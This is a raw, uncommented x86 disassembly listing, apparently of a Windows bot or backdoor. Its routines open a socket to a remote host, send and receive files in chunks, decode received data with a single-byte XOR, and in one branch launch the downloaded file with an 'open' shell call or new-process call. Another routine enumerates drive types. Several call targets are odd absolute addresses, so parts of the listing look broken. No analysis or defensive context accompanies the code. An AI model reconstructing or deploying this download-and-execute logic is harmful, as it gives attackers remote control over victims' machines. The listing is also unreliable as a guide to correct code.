		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 27506FCh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2730000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		call	near ptr 26808BBh
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2710000h
		nop


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27506FCh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		call	near ptr 26808BBh
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 2710000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2710000h
		nop


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 27506FCh
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		nop
		call	near ptr 26C0589h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2740000h
		nop
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26C0589h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26808BBh
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2680B8Eh
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
